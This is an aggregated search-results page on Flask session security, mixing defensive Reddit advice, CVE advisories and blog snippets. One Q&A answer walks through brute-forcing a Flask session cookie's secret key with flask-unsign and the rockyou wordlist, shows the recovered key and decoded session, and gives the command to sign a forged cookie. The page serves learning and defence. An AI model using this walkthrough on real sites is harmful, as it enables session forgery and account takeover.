You didn't mention all the things in Flask Security Considerations: https://flask.palletsprojects.com/en/latest/web-security/ You probably want SameSite Strict. I wrote a diatribe about cookies, it is still largely relevant. Browsers have improved since but also not everyone is on the latest browser. TL;DR Enable all the security features possible for session cookies, and CSRF cookies, but don't use cookies otherwise. https://waters.me/internet/use-cookies-like-it-is-2018/ Security headers discussed here: https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html In development and deployment you typically want a Content Security Policy, you typically want a CDN if none is provided by the hosting provider. You don't want to know how bad frames are you just need to stop people doing weird stuff with your app. If you are using simple passwords people will pick weak ones. You don't discuss threat model, what does your app actually do? It may be acceptable to leave passwords to the user if it is something trivial like game high scores, or something you can't afford such as cryptocurrency services. Threat should determine effort, but threat includes GDPR or other legal responsibilities that potentially fall on you. The biggest weakness less important sites will have is storing (and thus eventually leaking) weak password hashes as people reuse passwords still. I know 2025 and people are still ignorant of basic web security, thing about users is there are new ones being born everyday, including yesterday. Also storing more user data than you need (you probably need an email address for password reset flows, do you really need their name? If you need a stronger password reset, you might need a postal address, depending again on what your app does). Flask defaults to a sensible password hash scheme if you use the right modules, but check what you are actually storing, not just a hash but a good one with enough rounds. From a session testing point of view I commonly see not overwriting session cookie at login page delivery (you need to assume anything in the browser before they GET the login page is compromised), not changing the session cookie on successful login, not invalidating old sessions on logout or password change, or similar security related account operations like disabling an account (can't login but current session is valid). Leaking session cookies to other hosting providers is a classic, lot of sites set the application session cookie at the top level domain "example.com" to share across subdomains ("app.example.com", "support.example.com"), then have some cheap Wordpress instance on "www.example.com" telling me how good their security is, which they send the session cookie of every user to needlessly, so no matter how much security they do they'll never get better than Wordpress levels of security (Wordpress security is fine for a blog but you don't want to add it to your apps attack surface). Most important hack to know about sessions, Paypal credit card hack, in early days of PayPal someone created a webpage telling people how to link their credit card to their Paypal account, except it silently logged them into a Paypal account he controlled when they visited his helpful page. He of course knew his own username and password, but was still an "attacker" against their user's credit card details, lack of CSRF on login page, again using Flask forms correctly for login prevents this. Answer from gnufan on reddit.com
🌐
Snyk
security.snyk.io › snyk vulnerability database › pip
Flask-Session vulnerabilities | Snyk
With more than 10 contributors for the Flask-Session repository, this is possibly a sign for a growing and inviting community. ... No direct vulnerabilities have been found for this package in Snyk’s vulnerability database.
🌐
Reddit
reddit.com › r/flask › stuck on a flask security issue: is my session management vulnerable?
r/flask on Reddit: Stuck on a Flask Security Issue: Is My Session Management Vulnerable?
September 25, 2025 -

I've been working on a small Flask web app with a basic user login system, and I'm getting a little paranoid about security. I've read about a few common vulnerabilities and I want to make sure I'm doing things right before I get too far along. My app connects to a MySQL database and uses Flask's built-in sessions for user authentication. I've read that session cookies should be set to Secure=true and HttpOnly=true to prevent certain attacks, which I've done. I'm also using parameterized queries to prevent SQL injection, which I know is a huge deal. My main concern is session management, particularly issues like session fixation and brute-force attacks . I'm wondering if a simple login system is enough, or if I need to be more proactive. I want to protect user credentials and prevent unauthorized access. How do you guys handle things like locking out users after multiple failed login attempts? What are your go-to security best practices for production-level Flask applications? Any advice on how to ensure my app is secure before it goes live would be a huge help.

Top answer
1 of 3
7
You didn't mention all the things in Flask Security Considerations: https://flask.palletsprojects.com/en/latest/web-security/ You probably want SameSite Strict. I wrote a diatribe about cookies, it is still largely relevant. Browsers have improved since but also not everyone is on the latest browser. TL;DR Enable all the security features possible for session cookies, and CSRF cookies, but don't use cookies otherwise. https://waters.me/internet/use-cookies-like-it-is-2018/ Security headers discussed here: https://cheatsheetseries.owasp.org/cheatsheets/HTTP_Headers_Cheat_Sheet.html In development and deployment you typically want a Content Security Policy, you typically want a CDN if none is provided by the hosting provider. You don't want to know how bad frames are you just need to stop people doing weird stuff with your app. If you are using simple passwords people will pick weak ones. You don't discuss threat model, what does your app actually do? It may be acceptable to leave passwords to the user if it is something trivial like game high scores, or something you can't afford such as cryptocurrency services. Threat should determine effort, but threat includes GDPR or other legal responsibilities that potentially fall on you. The biggest weakness less important sites will have is storing (and thus eventually leaking) weak password hashes as people reuse passwords still. I know 2025 and people are still ignorant of basic web security, thing about users is there are new ones being born everyday, including yesterday. Also storing more user data than you need (you probably need an email address for password reset flows, do you really need their name? If you need a stronger password reset, you might need a postal address, depending again on what your app does). Flask defaults to a sensible password hash scheme if you use the right modules, but check what you are actually storing, not just a hash but a good one with enough rounds. From a session testing point of view I commonly see not overwriting session cookie at login page delivery (you need to assume anything in the browser before they GET the login page is compromised), not changing the session cookie on successful login, not invalidating old sessions on logout or password change, or similar security related account operations like disabling an account (can't login but current session is valid). Leaking session cookies to other hosting providers is a classic, lot of sites set the application session cookie at the top level domain "example.com" to share across subdomains ("app.example.com", "support.example.com"), then have some cheap Wordpress instance on "www.example.com" telling me how good their security is, which they send the session cookie of every user to needlessly, so no matter how much security they do they'll never get better than Wordpress levels of security (Wordpress security is fine for a blog but you don't want to add it to your apps attack surface). Most important hack to know about sessions, Paypal credit card hack, in early days of PayPal someone created a webpage telling people how to link their credit card to their Paypal account, except it silently logged them into a Paypal account he controlled when they visited his helpful page. He of course knew his own username and password, but was still an "attacker" against their user's credit card details, lack of CSRF on login page, again using Flask forms correctly for login prevents this.
2 of 3
4
you need a rate limiter. use a plugin to do it, like flask-limit. Or can write a simple decorator and db to do it. The idea is, For login cases get ip, then add that ip to the db and count how many times post request occurred. If it exceeds certain numbers return error (the decorator will check everything about limiting, the login view just count failed attempt).
🌐
Miguel Grinberg
blog.miguelgrinberg.com › post › how-secure-is-the-flask-user-session
How Secure Is The Flask User Session? - miguelgrinberg.com
April 4, 2016 - The idea is that if you have any information you don't want your clients to discover, then you cannot put it in the user session, since that is unencrypted. ... so, based on what we see, i can save the user state(loged_in) and they can see it, ...
🌐
GitHub
github.com › advisories › GHSA-m2qf-hxjv-5gpq
Flask vulnerable to possible disclosure of permanent ...
Flask vulnerable to possible disclosure of permanent session cookie due to missing Vary: Cookie header
🌐
Markaicode
markaicode.com › home › python › the flask session bug that almost got me fired (and how to fix it)
The Flask Session Bug That Almost Got Me Fired (And How to Fix It) | Markaicode
August 6, 2025 - That security audit taught me that Flask v2.3's session management isn't as bulletproof as I'd assumed. After three sleepless nights and a near heart attack, I discovered the exact configuration patterns that prevent these vulnerabilities.
🌐
Vulert
vulert.com › vuln-db › pypi-flask-70884
CVE-2023-30861: Flask - Session Cookie Leakage
The risk is determined by all the specified conditions being met. The vulnerability arises from Flask's failure to set the 'Vary: Cookie' header when the session is refreshed without being accessed or modified.
Top answer
1 of 2
11

As Elias has already mentioned, the cookie can be decoded without the secret key, but it cannot be manipulated without it for obvious security reasons. If cookie tampering was as easy as that, nobody would use Flask sessions. Therefore, your task is to find the secret key, and since the SHA-1 hash function is non-reversible, you should turn your attention to the human factor.

That being said, you'll have to "guess" the secret key of the contest's careless programmer using brute force, and fortunately, Flask-Unsign can assist you with that.

You can install it via pip by using the following command:

pip3 install flask-unsign

but before using it, you will need a wordlist like rockyou, which you can download from the Kali Linux GitLab repository by using a command like the one below:

curl -JO https://gitlab.com/kalilinux/packages/wordlists/-/raw/kali/master/rockyou.txt.gz && gunzip rockyou.txt.gz
  • -J, --remote-header-name: Uses the server-specified Content-Disposition filename instead of extracting a filename from the URL when saving the file locally.
  • -O, --remote-name: Writes the output to a local file named like the remote file obtained, using the server-specified filename.

Now you can perform the brute force attack using the following command:

flask-unsign --unsign --cookie '.eJwtjkGKAzEMBL-S9TkHy5Yte96wP1jCIEvyJmxIYDxzCvn7-pBTUw1N18ut_c7jasMtPy932me4cYjYGO7svp-_t8fpw_24f7nL-3Kem83G1S37dtikm7rFQUJBRSOL1GKWVCoRC3ED7VAz9FKsVi9aO2RgJmgSi88VuQCmXghjaRZjSCqBDTm3qE1LAh8bGnuG3jAHCV4iZlAoPkhiAGghT9v1GLZ9bCbK2Pq6P__sMQuev2ZcKQFkMinJWhRSqB4hYyWv2oWre_8D5vtQyA.ZTUbZQ.erv_yZmYg44tiaJ0u8fqKailHUc' --no-literal-eval -w rockyou.txt   
  • The --no-literal-eval argument was used because Flask-Unsign assumes by default that each word in a given wordlist is enclosed in quotes. However, this is not the case with the rockyou wordlist.

and find the secret key after a few thousand attempts:

[*] Session decodes to: {'_flashes': [('success', 'Login successful!')], '_fresh': True, '_id': '154c4d4e7e37b36c58977ac7ab1df1961f88e990cd9f161aa71bc380694a8145f87438be3325dc2ae4a6b3dbd85103b4ea0a1fb462c20c3461d1802c5a111b26', '_user_id': '1', 'csrf_token': 'acd9eea9751167ec85eb3c7d1904164970ddfca9'}                       
[*] Starting brute-forcer with 8 threads..                                                                                                     
[+] Found secret key after 175360 attempts                                                                                                     
b'Galaxy'

Finally, having found the secret key, you can use it to sign your own cookie with modified session data according to your needs:

flask-unsign --sign --cookie "modified session data here" --secret 'Galaxy'
2 of 2
1

What you described is the expected behavior by design - the cookie can be decoded without the secret key, but it cannot be modified without it.

from documentation:

If you have set Flask.secret_key (or configured it from SECRET_KEY) you can use sessions in Flask applications. A session makes it possible to remember information from one request to another. The way Flask does this is by using a signed cookie. The user can look at the session contents, but can’t modify it unless they know the secret key, so make sure to set that to something complex and unguessable.

Find elsewhere
🌐
LinkedIn
linkedin.com › pulse › pentesting-ethical-hacking-tool-series-flask-session-cookie-vanegas
Pentesting and Ethical Hacking Tool Series: Flask Session Cookie Decoder/Encoder/BruteForce
June 1, 2023 - Now we replace the values on the website with our session cookie, thus obtaining the flag. And thus, with these two tools, we have compromised the Flask session cookie.
🌐
Flask
flask.palletsprojects.com › en › stable › web-security
Security Considerations — Flask Documentation (3.1.x)
For the session cookie, if session.permanent is set, then PERMANENT_SESSION_LIFETIME is used to set the expiration. Flask’s default cookie implementation validates that the cryptographic signature is not older than this value.
🌐
Snyk
security.snyk.io › snyk vulnerability database › pip
Information Exposure in flask | CVE-2023-30861 | Snyk
Upgrade flask to version 2.2.5, 2.3.2 or higher. Affected versions of this package are vulnerable to Information Exposure in the form of exposing the permanent session cookie, when all of the following conditions are met:
🌐
Vulert
vulert.com › vuln-db › debian-11-flask-118932
Flask - Session Cookie Disclosure
In conclusion, the Flask web framework is vulnerable to a session cookie disclosure issue that could have severe consequences for the security of user data. It is crucial to update the Flask package to the fixed version to mitigate this ...
🌐
HackTricks
book.hacktricks.xyz › home › network services pentesting › pentesting web › flask
Flask - HackTricks
6 days ago - Probably if you are playing a CTF a Flask application will be related to SSTI. ... Command line tool to fetch, decode, brute-force and craft session cookies of a Flask application by guessing secret keys.
🌐
Hossted
hossted.com › home › knowledge base › newsflash › devops › application development › flask: session signing vulnerability
Flask: Session Signing Vulnerability - Proactive Insights and Support For Open-Source Applications
July 10, 2025 - In Flask version 3.1.0 a medium severity vulnerability CVE-2025-47278 was detected. This vulnerability allows attackers to potentially take advantage of old session keys still being used, which weakens protection for user sessions in some setups.
🌐
Invicti
invicti.com › web-application-vulnerabilities › flask-weak-secret-key
Flask weak secret key - Web Application Vulnerabilities | Invicti
Flask relies on this secret key to cryptographically sign session data and prevent tampering. When a weak or default secret key is used, attackers can predict or discover the key, allowing them to forge valid session cookies with arbitrary data. This vulnerability was confirmed by successfully ...
🌐
Readthedocs
flask-session.readthedocs.io › en › latest › security.html
Security - Flask-Session 0.8.0 documentation
The attacker can then use the session identifier to impersonate the user. As one tool among others that can mitigate session fixation, is regenerating the session identifier when a user logs in. This can be done by calling the flask.Flask.session_interface.regenerate() method.
🌐
iltosec
iltosec.com › blog › post › exploiting-flask-authentication-and-rce-vulnerabilities-chain-lab-writeup
Exploiting Flask Authentication and RCE Vulnerabilities – Chain Lab Writeup
December 2, 2024 - Flask uses signed cookies to store session data on the client side. These cookies are signed using a secret key, which, if compromised, allows an attacker to modify session data and potentially bypass authentication mechanisms.
🌐
Acunetix
acunetix.com › vulnerabilities › web › flask-weak-secret-key
Flask weak secret key - Vulnerabilities - Acunetix
WEB APPLICATION VULNERABILITIES Standard & Premium · Each Flask web application contains a secret key which used to sign session cookies for protection against cookie data tampering. It's very important that an attacker doesn't know the value of this secret key.
🌐
CloudDefense.ai
clouddefense.ai › cve › 2023 › CVE-2023-30861
CVE-2023-30861: Vulnerability in Flask - Exposing Session Cookies
Learn about CVE-2023-30861, a vulnerability in Flask that exposes session cookies due to a missing Vary: Cookie header. Understand the impact, affected versions, and mitigation steps.
🌐
Medium
medium.com › @s12deff › hacking-flask-session-cookie-8e7abe7217a8
Hacking Flask Session Cookie. Introduction | by S12 - 0x12Dark Development | Medium
October 2, 2022 - Hacking Flask Session Cookie Introduction The cookie used to store session data is known session cookie. Flask signs the session cookie. It means that anyone can view the contents of the cookie, but …